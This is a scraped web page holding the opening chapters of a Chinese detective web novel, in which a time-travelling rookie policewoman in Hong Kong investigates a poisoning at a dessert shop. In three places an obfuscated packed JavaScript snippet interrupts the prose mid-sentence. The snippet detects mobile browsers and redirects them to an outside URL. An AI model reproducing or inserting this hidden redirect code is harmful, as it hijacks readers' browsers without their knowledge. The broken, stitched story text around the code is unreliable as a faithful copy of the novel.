《我靠剧透成为警界新星[香江]》 1. 甜蜜药 一 “有落，唔该！” 夏日的正午，正是香江最热的时间，阳光下的马路上升腾起一片热气，将路面都曲折。 一两中巴停在车站，气响之后，车门打开，乘客们陆续下了车。 谭仪雯排在最后一个，为了赶时间，她直接越过了最后一级台阶，跳到了地上。 双脚落在地面上，中巴车没做过多停留，就立刻关门走了。 街上的人群熙熙攘攘，刚刚排在她前面下车的人此时都已经没入人海，再也找不见了，每个人都像是赶时间似的，走得飞快。 谭仪雯在原地站了片刻才确定了自己要往哪边走。 顺着人群走了五分钟，谭仪雯才走到了他今天的目的地。 这栋楼不算新，甚至看上去有点小，只有两层门口挂着一块崭新的牌子，上面写这几个大字——西九龙特别行动处由此处上二层。 没错，就是这里了，故事发生的地方。 谭仪雯已经穿过来有段时间了，穿越之前，她刚买了一套以香江刑侦为题材的二手小说，结果躺在床上刚翻了没几页，就看到一个路人的名字上被画了个圈，旁边还有“凶手”二字。 看到这样的剧透，谭仪雯直接两眼一闭：最讨厌推理刑侦作品里剧透的人了，有没有素质啊！ 被扰了兴致的谭仪雯决定先睡一觉，等醒了之后再继续看，结果一觉醒来，她就穿成了书里面与她同名同姓的新人女警谭仪雯。 但是作为一个普通大学毕业生，破案水平也不过是翻过基本推理小说，看过几百集柯南罢了，抓犯人的能力更是叫人不忍直视，她期末特测考八百米都是压线及格的。 经过对自己的全方位分析，她觉得自己应该是无法胜任艰巨任务的，希望她的顶头上司也能尽快发现这一点，然后把她调到其他部门。 像“警声”这种宣传部门就最好了。 顺着标志，谭仪雯拐进了二楼，找到了写有“西九龙特别行动处”字样的房间。 根据门与门之间的间隔来看，这间办公室不小。 那本书谭仪雯之翻了几页，主要人物还都没有完全出场，所以她也不知道自己所在的这个特别行动处到底有几个人，希望好相处得同事能多一点，起码在调到别的部门之前，让她舒坦一些。 深吸了一口气，谭仪雯终于走进了那扇开着的门。 “PW56213前来报道。” 谭仪雯一边将自己的警号念出，一边扫视着办公室内的环境。 现在办公室里面只有两个人，一个是看起来四十多岁快到五十岁的中年男人，还有一个是三十岁左右的西装男人。 中年男人肯定是自己的上司，这没得说，桌上的铭牌上是他的名字：骆宝成。 看来是要叫骆sir的。 至于那个西装男…… 深色西装里面配白色衬衫，头发被发油都梳到了后面，脖子上还挂着委任证。 瞧这穿着，应该就是特别行动处的主要人物之一——余子敬了。 骆宝成抬起头，将视线从案卷里抬起，看向了站在门口的谭仪雯，几秒之后又在桌子上翻找着。 谭仪雯站在门口，不知道这门她是该进还是不该进，而余子敬则是低下头，继续忙自己的事情去了。 “PW56213？谭仪雯是不是啊？”骆宝成从纸堆里找到了他随手放的西九龙特别行动处转入名单。 “报告长官，是我。”谭仪雯微微抬起脚，脚跟轻轻落地，学着她之前看的电视剧的样子给骆宝成敬了个礼。 “选个地方坐就好。”骆宝成看着笑眯眯的，看起来很好相处。 不过那个余子敬…… 谭仪雯转头看了看正在翻动案卷，一脸严肃精英模样的余子敬，最终选了一个离他最远的位置。 看上去不是很好相处呢…… 谭仪雯刚刚坐下，就看到了桌子上的小册子，是特别行动处的简介。 人在无聊的时候，就连洗发水的瓶子也是会认认真真研读一番的，谭仪雯不想到处东张西望好像很闲的样子，所以便拿起桌上的册子，看了起来。 这个特别行动处是为了应变突发情况才设立的，除了O记和飞虎队的工作之外，再其他部门人手不足的时候，他们就会出动，而且范围也不只是西九龙，有时候去新界“出差”也是有可能的。 谭仪雯觉得有些不对味。 应变突发情况才设立……如果真是因为这个才设立特别行动处，那按理来说所有被调来的人都是有点本事在身上的，那个余子敬就是，一眼看过去就知道脾气古怪但很有本事。 可她什么都不会啊！ 想要离开特别行动处的心越来越强烈了，快点给她调去警声吧，或者去当交警也好啊！ 不然在一群大佬之间，她要怎么才能不拖后腿呢？ “叮铃铃——” 桌面上的座机响了起来，骆宝成一概刚刚慢吞吞的动作，立刻接起了电话。 在一连串的“ok，我知道了”之后，骆宝成终于放下了电话。 “Timo，Madam谭，有新任务了。” 谭仪雯手里的介绍手册还没有翻完，就听到了要出勤的指令，定在原地好几秒。 怕什么来什么，她刚刚还在担心自己是不是要等到所有人都来了之后，隐藏在其他大佬之间，将自己的存在感降到最小，这样可以找一个合适的时间主动调离特别行动处。 结果现在人还没有来全，她只有一个队友，还是看起来不太好相处得经营西装男余子敬，她真怕自己那里表现不好，余子敬咬着牙叹气。 余子敬骂人她都不怕，毕竟他们可以对骂。但是如果一脸“算了”，然后深吸一口气，转头继续工作，对谭仪雯来说才是一万点暴击。 “只有我们两个？”谭仪雯无比希望此时门口再出现一个人，这样就可以有人分担余子敬带给她的压力了。 “还有一位今天会来报道，我叫他直接去案发地。” 谭仪雯歪了歪头，这么大的办公室，就他们三个人加上一个还没来报道的人用吗？有些太大了吧？ 骆宝成显然看出了谭仪雯的疑惑，回答道：“之后还有其他人，部门是一点一点充盈起来的嘛，年轻人不要心急。” 但是现在最心机的人显然不是谭仪雯，而是从听到自己名字便立刻起身，现在已经将所有需要带的东西都带在身上的余子敬。 “骆sir，我们什么时候出发？”说完之后，还瞥了一眼依旧坐着，没有任何准备迹象的谭仪雯。 “再等下。”打印机开始运作，骆宝成将现在知道的资料全都下载，打印了出来，随手抽出来一个透明夹子，将资料夹了进去，递给了余子敬。 谭仪雯从来没有接触过真正的案子，当然也是第一次出现场，实在不知道要带什么，就从桌子上抽了一根水笔，又拿了一个空白的本子，小跑着跟着余子敬离开了办公室。 余子敬走得很快，纵使谭仪雯穿着运动用的鞋，也跟不上穿着皮鞋，一边看案件情况的余子敬。 这个男人就算在下楼梯的时候，也都目不转睛地盯着看手里的资料，谭仪雯有那么一秒怕余子敬在自己面前一脚踏空摔伤。 虽然那样就不用跟他共事了，但那也代表着之后她要一个人查案。 …… 还是不要了吧？她可不想一个人查案！ 一辆黑色的轿车就停在门口不远处，余子敬拉开左车门，坐了进去。 刚来的时候，谭仪雯还在猜测这辆车是谁的，现在算是知道了。 扯的玻璃上都贴上了防窥膜，在余子敬关上车门之后，谭仪雯便看不见里面的情况了。 看到车门关上，谭仪雯还在心里暗暗夸赞了这个余子敬一番：人还挺好的嘞，居然不用她开车，自己直接坐在左面了。 但拉开右侧车门之后谭仪雯陷入了沉默。 ——香江是右舵车，不是左舵车。 时间还没到两分钟，刚刚她脑袋里想的话应该还能收回。 白夸他了。 坐在左边副驾驶的余子敬感觉到车门打开，却迟迟没有人坐进来，终于舍得将头抬起来。 “快点坐进来，我们该出发了。” “可是我不会开车。”准确地说，是不会开右舵车，左舵车也能开，但是开的不太好，她是在科目一常败将军，考了好几次才过，。 余子敬听到谭仪雯的话，先是将双眼平视前方，随后落下眼皮，最后深深吸了一口气。 谭仪雯觉得自己这辈子好像从来没有听过这么均匀绵长的一声叹息，本来就不想面对跟余子敬单独出警，现在更不想面对了呢…… “路上你把这个好好看一遍。”余子敬也没办法，总不能等着楼上的骆sir来开车，所以推开车门，绕到了右边驾驶座，没看完的资料塞进了谭仪雯怀里。 谭仪雯看着手里的资料，觉得这样好像也不错：她可以一直看案件资料，在到达现场之前，余子敬说什么她都可以当没听见。 往日门庭若市的旺记糖水今天十分萧条，有几个军装警站在门口，维护着现场秩序。 余子敬将车停在路边之后，就立刻推开车门，毫不拖泥带水，谭仪雯将资料拿在手里，也跟着下了车，小跑几步仅仅跟在了余子敬身后。 其实她也不是怕余子敬回头叫她跟上，只是她想听到自己之前在电视里面尝尝听到的经典台词。 “我是西九龙特别行动处见习督察余子敬，你们可以叫我Timosir。”余子敬从脖子上拿起那张卡装的委任证，给正在巡街的武装警察看了一眼。 就是这个味！ 谭仪雯表面上不动声色，但想笑的心已经呼之欲出了。 “西九龙特别行动处探员谭仪雯。”谭仪雯也拿出了自己的委任证，按照上面的职位对几个军装警说道。 在检查过证件无误之后，军装警将警戒线拉了起来，余子敬同谭仪雯一起弯下腰钻进了案发现场。 这家旺记糖水是一家老店，虽然装修看起来很简朴，但胜在味道不错，从几十年前，也就是现在店主的爸爸开始，就开始营业了，如今至少经营了三十年。 今天原本是正常营业的，但是中午的时候，正在休息糖水的店主麦旺文突然在后厨晕倒，紧接着是麦旺文的妻子和女儿，在顾客们乱成一团的时候，又有几个客人晕倒了。 除了麦旺文一家三口之外，另有三个顾客，一共六个人被送到了医院，现在他们那个女儿的情况不太好，不知道能不能救回来。 现在旺记甜水已经被用警戒线封上了，路边站了十几个围观的邻里街坊，估计是店里的常客，听说除了事就赶紧过来看看。 糖水店里都被清空了，除了几个来店里喝了糖水但没事的人被留下等待问询之外，其他人都被拦在了外面。 “警官啊，我就在这里吃着龟苓膏，阿旺叔就在里面，就那里，一下就倒下去了。”看到有督查和探员来了，那客人便用手来来回回指着自己的位置和麦旺文倒下的位置。 看来也是个常客，一般的顾客只会叫麦旺文老板，而这个客人却叫他阿旺叔。 余子敬点点头，眼神扫视着周围，谭仪雯也跟着余子敬的视线来回看着。 她不会探案，但还是玩过几次剧本杀的，知道怎么找线索，况且她总不能呆愣愣的站在一边。 余子敬看谭仪雯跟他一样观察着环境，用略带无奈的声音说道：“Madam谭，麻烦你记一下。” 谭仪雯这才想起她出门时候揣在身上的水笔和笔记本，坐在一边开始询问详细信息。 “麦旺文有没有什么仇家？” 电视剧里都这么演，所以谭仪雯也学会了询问方式，现在她一边做简单的记录，一边期待那个今天会来报道的另一个探员，希望那个人可以帮自己把笔录做了。 “没有哦，阿旺叔这个人很好的，做的糖水又好吃，人又好，我们所有人都很爱吃的，你问下他们，他们都知道。” 谭仪雯看向门外的街坊，街坊门都点了点头，她便在笔记本上将“暂时没有仇家信息”写了上去。 除了现在正在询问的这个人之外，后面还有几个排着队等待的顾客，谭仪雯此时此刻无比期待那个今天没有到特别行动处，但骆sir说会直接过来的人现在立刻出现在她面前。 “让一让！” “不要挤我啊。” “喂，这里不让进的。” “不是吧大佬，让我进一下先啦。” 被封锁的门口吵吵闹闹，谭仪雯回头，正看到一个花衬衫的男人想要越过警戒线。 还说还说没有仇家？她看这个人，穿得跟个小混混一样，肯定是古惑仔，说不定就是麦旺文的仇家。 “你是边个啊？”谭仪雯站起身，迎上前去，与穿着花衬衫的男人隔着警戒线说道。 花衬衫男人歪歪头，突然笑了起来，露出一口白牙。 “哇，现在有这么得意的妹妹仔出警的哦？” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你怎么知道跟案子没关系？”谭仪雯侧头看着郭庭伟，随后又补了一句。“那也不能碰。” “你看咯，每个标注上晕倒的人都是喝了这个葛根竹蔗水，老板的厨房里也有，喝了其他糖水的人就没有晕倒，说明就是葛根竹蔗水的问题。” 谭仪雯刚刚只是做资料的收集，还没有开始分析，所以除了记录每桌点到的糖水时感觉记了好几次“葛根竹蔗水”之外，也没有太多注意。 经过郭庭伟随口一说，谭仪雯才发现，自己记录的每一碗葛根竹蔗水，都能跟送到医院的人对应上。 脑袋这么灵光？ 可是他刚刚也只是扫了一眼糖水铺的环境和她做的笔记罢了，思维居然这么敏捷。 她又上下大量了一下这个郭庭伟，确实跟刚刚一样流里流气，不像个好人，但是眼神跟那种街头混混还是有很大区别的。 一般的混混应该是眼神涣散，因为平日里无所事事，只能到处乱看。 郭庭伟却目光如炬，这让谭仪雯不得不想起经典的警匪电影无间道——这个郭庭伟该不会是三年又三年之后现在做了个好人吧？ 谭仪雯低头确定了郭庭伟说的没错之后，觉得这个家伙是世界上最适合成为代替她继续记录的人的。 “呐，现在呢，这个问话的工作就交给你了。”谭仪雯将水笔塞进郭庭伟的手里，想要赶紧把自己没法完成的工作转交出去。 能者多劳，谭仪雯觉得余子敬和郭庭伟能力都很强，这样艰巨的工作还是交给他们比较好。 “Madam谭，我当你助手好咯。”郭庭伟将水笔又送回到了谭仪雯手里，双手插进裤子口袋，俨然一副不会再给谭仪雯机会塞东西的样子。 很好，工作没送出去…… 郭庭伟虽然没有接过水笔，而是只说自己当谭仪雯的助手，但却主动问起了身边的人，谭仪雯则笔下成风，跟在他后面记录着。 “他人很好的，前几日我家的水管爆掉，还是阿旺给我来修的呢。哎呦，现在阿旺住院，生死未卜，我都不知道该去哪里再喝这么好喝的糖水了。”一个站在门外的老太太擦着额头上的汗。 “婆婆，你先回家，我们有消息了就同你们讲，你看嘛，阿旺那么好，当然不舍得死的啦对不对。” 一开始，邻居们都不太喜欢这个嬉皮笑脸的郭庭伟，但现在靠他一张嘴，又把邻里街坊哄好了不少。 “只能去新福记了喝吴大力的糖水了……” 谭仪雯在笔记本上刷刷地写着。 都是葛根竹蔗水出问题，就说明不是客人投毒，但是这个麦旺文在街坊邻居之间风评这么好，不应该毒街坊。 就算真想毒谁，他也不会让自己女儿也成为受害人，现在女儿情况最不好，怎么想都不应该是这个麦旺文下毒。 那能是谁呢？ 谭仪雯想着到底谁有嫌疑，脑子就装不下别的事情了，听到什么就写什么，将街坊说的新福记和吴大力记在本子上。 笔画刚刚结束，一个黑色的圆圈就出现在了“吴大力”的外面，还迁出了一条线，线的终点写了两个字——凶手。 谭仪雯双眉一抬。 这个吴大力……好像就是她在书里看到的其中一个角色，当时也确实被人画上了圈标了凶手，她当时还气得没再继续看下去了。 该不会后面的案子……都能有这种标识吧？那她可就不请求调去警声做宣传了，成为香江一颗冉冉升起的新星难道不好吗？ “郭sir，看下我的记录有没有问题。”谭仪雯看那个圈和凶手一直都在纸上，也不太确定别人能不能看见，所以拿郭庭伟做个实验。 如果他看不见，这个bug就是她成为警界新星的利器！ “叫我庭仔就ok，不用叫我郭sir。” 郭庭伟拿过了谭仪雯的笔记本，翻动了两下，又还给了她。 谭仪雯一直看着郭庭伟的脸，想要从他的脸上看到一丝异样，甚至已经准备好了他问自己“为什么这里要写凶手”，但是郭庭伟只是翻了几下，又将笔记本还给了他。 “记得这么快，一点都没漏掉。” “郭……庭仔，你也不赖。” 谭仪雯低头看了看仍未消失的圆圈和凶手二字，低头勾起了嘴角。 谁说这剧透不好的啊？这剧透简直太棒了！！ 2. 甜蜜药 二 在谭仪雯正因为有了这个bug而开心的时候，余子敬咳嗽了一声。 回过头，余子敬地脸依旧是那个冷冰冰的精英男的脸，但谭仪雯总感觉能从他脸上看到一些不悦，说不定他心里还要说一句“把我当空气吗？”呢。 郭庭伟没有回头，继续跟街坊们热络地聊着，叫他们都回家等消息，人群一点点散去。 别看这几个庭仔嘻嘻哈哈，给人的第一印象不是很好，但这一套在街坊邻里面前还是很有用的——那些人会自动把郭庭伟当作某家人调皮捣蛋的孩子，不过是长大了点。 “一会叫鉴证科的人来，把所有糖水收集起来做化学研究用。” 余子敬肯定是听到了刚刚郭庭伟对谭仪雯说的“茅根竹蔗水毒源论”，但他还是要把所有剩下的糖水都收集起来，看起来就像是在跟郭庭伟对着干。 “听到没有？” “yes，Timosir！”谭仪雯撇撇嘴。 郭庭伟没有什么错误，但是余子敬确实也是更严谨一些，她现在不过是知道了真正的凶手是吴大力，还不知道真正的案发过程，所以还是按照标准流程来走比较好。 她总不能一路冲到新福记糖水店里揪住那个吴大力，说什么“我知道你就是凶手，你等着被抓吧！”之类的话。 到时候没有逮捕令，打草惊蛇吴大力直接逃跑到其他国家怎么办？如果真那样，自己可就要经办一起跨国潜逃大案了。 …… 还是算了吧，办一个普通的案件就已经够头疼的了。 听说是集体中毒案，鉴证科的人来得也很快。这群人手脚麻利得很，发现没有尸体的时候也松了一口气，立刻用做过消毒的罐子把没喝完的糖水装了起来。 “这里是顾客一号倒地的位置，顾客二号在那边倒地……”谭仪雯在一旁协助鉴证科的同事们将每个受害人的号码标注，免得下次来查看现场的时候没有标志物。 “知道他们刚刚为什么松一口气吗？”郭庭伟用胳膊碰了碰谭仪雯的肩膀，嘴角还带着坏笑，眼睛眯起来，斜向下瞥着矮了他一头半的谭仪雯。 “不知道。”谭仪雯又没有出过现场，怎么知道为什么鉴证科的人会送一口气啊，或许是因为暂时没有死者？虽然有伤，但是没有亡？ “你凑近点，我话你知啊。”郭庭伟朝着谭仪雯勾勾手指。 这下谭仪雯倒是看懂了，这个郭庭伟现在的样子，就跟即将使坏的小学生一样，接下来说的东西，绝对不是什么好话！ “快点说啊。” “是没有尸体啦，你知道的，像现在这么热的天，尸体只要放半天就会有味道的，哇，那种味道简直……” 郭庭伟话说到一半，谭仪雯就开始呲牙咧嘴了。 她一次都没有闻到过尸臭味，但是小说里经常会提及，说是那味道只要闻过一次，就一辈子都忘不了，有些人如果呼吸深了点，那之后想吐的时候，鼻子里也都会是那个味道。 光是想想就要哕出来了。 “之前我就见过一个，发现的时候都已经快死了一个月了，虽然那时候是冬天，但还是……” “别说了，再说我可能就吐出来了，到时候破坏现场要被鉴证科的同事白眼了。”谭仪雯用左手捂住自己的嘴，右手捂住了郭庭伟的嘴。 正在用小罐子装糖水的鉴证科同事们纷纷朝谭仪雯的方向看了一眼，随后又低下头继续做事了。 郭庭伟将头向后仰着，那下了谭仪雯捂住他嘴巴的手。 “好了，不说了，不过如果你什么时候想听，我还是会讲给你听的。”他笑嘻嘻地继续说着。 “你应该去当法医。”谭仪雯摇摇头，她现在不想听，难道之后就会想听了吗？不想听啊！ “我也觉得，不过太可惜了，没去学习法医的相关课程，不然我现在应该在法医科坐办公室。” 郭庭伟长叹一声，好像他真的很遗憾自己没有成为法医人才似的。 “你们结束了吗？”余子敬的声音从身后响起。 回过头，谭仪雯正好对上了余子敬不耐烦的脸。 虽然特别行动处真正的老大是骆宝成，但是余子敬一脸的精英样就让他天然地展现出领袖气质，看到他冷脸，谭仪雯总觉得像是自己的上司发脾气了。 “我ready了。”郭庭伟耸耸肩，完全没有害怕余子敬的样子，但是也没有想要压他一头的感觉，就是单纯不怕。“我觉得她应该也是。” “准备好了就一起去趟医院，我们要从医生那里知道患者的情况，这样可以协助鉴证科确定物证研究方向。”余子敬说完，就迈开长腿，抬起警戒线，离开了旺记糖水铺。 谭仪雯也跟了上去，这次她先跑到了副驾驶的位置。 那个驾驶位，就看余子敬和郭庭伟谁更想开车了。 “你不会开车的哦？”郭庭伟也从警戒线里钻了出来，看着谭仪雯站在了左侧的副驾驶，一眼就看穿了她不会开车的事实。 “你来开。”余子敬站在驾驶座旁边，等着郭庭伟快点过来。 “我开车很不稳的，Timosir，不介意？” 郭庭伟这么说谭仪雯一点也不意外，这个穿着加上这个嘻嘻哈哈的样子，看起来就像是那种喜欢在山地飙车的古惑仔，开得稳才奇怪呢。 余子敬上下打量了一番郭庭伟，最后还是自己拉开了车门。 而郭庭伟则绕过了车身，将差点坐到副驾驶的谭仪雯拉住了。 “你坐到后面去。”说完，他就自己坐在了副驾驶的位置。 被拉开的谭仪雯有点不明所以，怎么？郭庭伟对副驾驶情有独钟吗？还是说他想跟余子敬再来一些眼神和言语上的碰撞？ 不过既然郭庭伟都坐下了，谭仪雯也只能拉开后排车门做了上去。 “不是这边啦，是坐在驾驶座的后面。”郭庭伟回头看看，发现谭仪雯坐在他身后就不动了。 “这两边有什么不一样的吗？” 谭仪雯依旧不知道郭庭伟为什么会这么说，但还是一边问，一边挪到了余子敬的后面。 “安全咯。”郭庭伟伸手将安全带扯了出来，插在了身侧的安全扣里。“如果有泥头车撞过来的话，他肯定会下意识打右转向，这样副驾驶这一面就是泥头车的撞击面，你坐在驾驶座那一边，会好一些。” 正在拉安全带的余子敬手顿了一下。 谭仪雯在车内的后视镜里正巧能看到余子敬停顿的动作，也能看到他腮角处鼓起了一块，持续了好几秒那块凸起才消了下去。 看来余子敬的态度很明确呢。 对她是闭上双眼长叹一声，对郭庭伟就是紧咬牙关。 “系好安全带。”余子敬将安全带末端的锁扣插进了身侧的安全扣里，催促着坐在后排的谭仪雯。 车子被午后的太阳晒了许久，里面闷得不得了，郭庭伟直接将车窗摇下，不算凉爽的风灌了进来，虽然不能解暑，但起码能喘得上气儿了。 “到了，下车。” 余子敬将车开到了医院，立刻解开了安全带，推开车门，似乎不想跟另外两个人共处一处似的。 因为事发突然，六个中毒的人都是被送到急诊区域的，余子敬走在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15003101|161858||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前面，穿过了十几个病床才找到了被一起送来的五个人。 还有一个小孩被送到了楼上其他科室，之前就听说情况不太好，现在被送到楼上也很合理。 现在三个顾客中有两个已经醒了过来，护士正在给她们换新的吊水。 “西九龙特别行动处探员谭仪雯，找你了解下情况，昏迷的原因找到了吗？”谭仪雯拿出委任证，对护士说道。 第一次说的时候，谭仪雯心里还都是激动，毕竟这是之前在电视剧里才见过的场景，但是这次谭仪雯就没有这种感觉了。 医院里总能看到众生相，急诊室里更是如此。 五个人躺成一排，还有一个小朋友的床位现在是空着的，现在那孩子还生死未卜，谭仪雯没有开玩笑的心情。 她现在只想那个孩子能脱离危险，然后再去抓那个吴大力！ “是心脏麻痹，但是还没有做分析，血样已经留存了，如果需要做分析，就要等些时间。”护士给人还完吊水之后，短暂地为谭仪雯驻足了片刻。 不过这个护士也有自己的事情要做，所以在说完这些之后，没有再做停留，直接离开，去了其他病床旁边查看病患情况。 看来确实是要做分析，看看到底是什么成分才能导致心脏麻痹。 可是，茅根竹蔗水里有什么东西是可以造成心脏麻痹的吗？谭仪雯对煲汤和糖水都不是很擅长，里面除了茅根和竹蔗之外应该没有什么其他东西了。 如果有，那个麦旺文也应该可以看得出来才对，总不能看见之后还装作不知道，给自己的老婆孩子喝之后，自己也痛饮一大碗。 况且那个bug圈出来的人名不是他麦旺文，而是吴大力。 等等！ 难不成这次案件确实是麦旺文做的，但吴大力身上也有别的案子？ 如果是这样的话，那在吴大力这几个字上出现“凶手”两个字也算有理有据。看来得找个机会写一下麦旺文的名字才行，之前为了方便，就只写了“老板”。 世界上老板多得很，或许是那个bug没有办法判定她写的这个“老板”到底是哪个“老板”，毕竟麦旺文和吴大力都是老板，而且还都是糖水铺的老板。 想到这，她又拿出被她插在胸前口袋里的水笔，在笔记本上随手写出了吴大力的名字。 还是有凶手标记的。 看来吴大力肯定是某件事的凶手没错了，但至于是不是真的次糖水店中毒案的凶手还有待商榷。 正这么想着，一个护工拿着空白的名卡跑了过来。 急救实在是太匆忙，所以现在还有把名卡对应着病床上的人塞进床头，现在才有护工拿着心名卡过来。 “谁是麦旺文？” 护工手里拿着名单，上面是六个患者的名字，准备一边核对人员一边填写名卡。 “这个是，我来帮你写吧。”谭仪雯自然地伸出手，装作一副主动帮忙的样子。 护工见到有人愿意帮忙自然也是高兴的，谁不想让别人帮自己分担一些工作呢？哎呦，每天做完这个床还跑去那个床忙，真是忙得要没时间吃饭了。 谭仪雯弯下腰，趴在床边一笔一划地写着麦旺文的名字。 麦——旺—— 写下最后一个字之前，谭仪雯深吸了一口气，现在就是谜底揭晓的时刻了。 文—— 谭仪雯等了几秒，麦旺文这三个字上却始终没有任何动静，凶手标记没有浮现。 那么，糖水铺集体中毒案的凶手，应该就是这个吴大力了。不过要怎么才能顺理成章地抓到他呢？这是个难题。 3. 甜蜜药 三 一整个下午，谭仪雯都没有闲下来过，当然余子敬和郭庭伟也一样。 现在鉴证科还没有做完毒物化验，就算谭仪雯是一个知道答案的人，但她也要等待解题步骤才能顺利推行。 “什么时候能出结果？”余子敬打着电话，催促着鉴证科，一只手拿着手机贴在了耳边，另一只手架在腰上，等待着电话那头鉴证科给他的回答。“医院说是心脏麻痹，可以朝着这个方向查。” “我知道了。”他半晌之后才放下电话，看起来鉴证科的人说了很长一段话。“明天一早就会出所有化验结果。” 谭仪雯侧头看了看正在跟两个已经苏醒的患者热络聊天的郭庭伟，一口一个靓女，把两个身体还没有恢复过来的年轻女孩哄得也露出了笑颜。 看来不管怎么样，正式的调查也要在检验报告拿出来之后才能推进了。 “如果没事，现在放工。”余子敬抬起手腕，腕表上戴着一块看着就价值不菲的劳力士。 谭仪雯中午才去西九龙特别行动处报道，没多久就跑去了旺记糖水铺，调查完情况，跟鉴证科做完简单的交接之后，又跑到了医院，几个小时的时间很快就过去了。 现在案情没有什么进展，就算立刻回到办公室，最多再坐个十几分钟就又要收工，还不如直接收工算了。 看来余子敬也不是一板一眼地热爱工作的类型啊，本来还以为是工作狂呢。 “你们都没问题吧？” “我没问题。”郭庭伟已经从病床旁边的椅子上转战到了病床尾巴上，床上的女孩还将被子里的脚收到一边，给郭庭伟让出了一些可以坐的地方。 “你呢？”余子敬又将脸转到了谭仪雯这边。 “我？”谭仪雯没想到余子敬还会特意问一下她，被搞得一个激灵。“啊，我没问题的，可以自己回家。” “ok，我走了。”余子敬听到两个人都不需要搭他的车，几乎是一刻没停地离开了医院，也不知道收工之后有什么事情在等着他。 “Madam，上楼看一下，然后一起吃饭啊？”见余子敬走了，郭庭伟从病床上站了起来。 “上楼？” “对啊，去看下阿旺的女儿咯，现在还没有人看过她。” 谭仪雯上下打量着郭庭伟，想不到看起来像是个古惑仔，一张巧嘴哄得邻里街坊和刚刚苏醒的病患都能开心，但心地还是挺善良的。 “不会是收工之后要去拍拖date吧？”郭庭伟摆出一副受伤的模样，好像他是谭仪雯多年的追求者，但谭仪雯另选他人似的。 但谭仪雯知道，郭庭伟这个人就是这样的，油腔滑调而已。 “我哪有人可以拍拖？走啦，去看下麦旺文的女儿。”谭仪雯推推郭庭伟的肩膀和后背，叫他不要再油腔滑调了。 二人一起上了楼，三问两问知道了麦旺文的女儿麦咏欣所在的病房。 ——ICU 郭庭伟双手环胸，靠在ICU门外的墙上，透过小窗子看向了里面的病床，没有了嘻嘻哈哈的模样。 “里面怎么样？” “都ICU了，肯定是不太好了。”郭庭伟回答道。“毒在茅根竹蔗水里，就算是大人，多饮几口也有现在还没醒的，小朋友更是啦。” “你们是谁？” 谭仪雯转过头，看到一个戴着口罩的医生迎面走来。 这个时候的ICU没什么来看望的人，再加上郭庭伟这身装扮，确实很难不怀疑是什么奇怪的人。 这不怪医生，就连谭仪雯在第一次看到郭庭伟的时候都怀疑过他是不是讨债的古惑仔。 “西九龙特别行动处探员谭仪雯，来看下受害人情况。” 看到委任证，医生才放下些心来。 “时间不早，如果想来探望，可以明天早上来。”看来是医院规定了重症监护的时间，像楼下的普通病房就是可以随时探望的，不过陪床有人数限制。 “ok，辛苦。” 医生点点头，与谭仪雯擦肩而过，走到尽头一拐弯之后就再也看不见了。 “听到没，医生叫我们走啦。”谭仪雯拍了拍还在看麦咏欣的郭庭伟。 “你要不要看下？”刚刚一直都是郭庭伟在看，谭仪雯身高不够，也没有什么好位置，就没看到。说是来一起看麦咏欣，但更像是陪着郭庭伟看麦咏欣。“看一下啦，说不定查案更有动力呢？” 谭仪雯见郭庭伟又近了一步，她似乎也没有别的理由拒绝，所以凑近房门，垫着脚透过玻璃看到了躺在ICU里面的麦咏欣。 那么小就要躺ICU，吴大力真是该死啊…… “要不要这么努力垫脚啊。” “身高不够真是对唔住啊！”谭仪雯本来即将陷入忧伤的心情被郭庭伟一句话拉了出来，她将脚跟落了地，送了郭庭伟一个白眼。 “给你赔罪，要不要一起喝糖水？”郭庭伟突然问道。 “喝糖水？” “嗯，去新福记喝糖水。”郭庭伟挑了挑眉，但那模样可不像是单纯的邀请谭仪雯喝糖水。 “刚刚收工最开心的好像是你？” 当时郭庭伟的表情非常适合做成“返工等放工，放工唔加钟”的表情包，这才十几分钟，就突然一百八十度大反转了呢？ “时间很宝贵嘛。”郭庭伟用眼睛撇了一下刚刚靠过的ICU的门，里面躺着的是麦咏欣。 谭仪雯也看了看ICU的门板，如果不垫脚，她还是看不到里面是什么样子，但因为已经看过了，所以她也知道麦咏欣是什么样子。 “ok，一起去饮茅根竹蔗水。” 新福记糖水铺的不多，大概只有六七桌，现在有两个桌子上有人，谭仪雯就和郭庭伟坐在了最靠里面的一张桌子上。 这里之前一直被旺记糖水压一头，平日里只要旺记还有地方坐，就很少有人来这里喝糖水，现在旺记糖水暂时关门，老板和家人们还在医院里没出来，但这里还是没有太多人，可见服务态度和糖水质量至少有一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15003102|161858||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是不合格的。 “一碗茅根竹蔗水，一碗红豆沙和一碗绿豆沙，多谢。”郭庭伟穿着花衬衫，一点也不像是来新福记查案的人，倒像是路过，随意走进一家糖水铺的普通路人。 谭仪雯坐在郭庭伟对面，一声没出。 还不知道郭庭伟有这么其他优点，但这点是很好的：他除了像警察，什么人都像。所以在不能暴露自己是警察的时候，他也是最自然融入自己新身份的人。 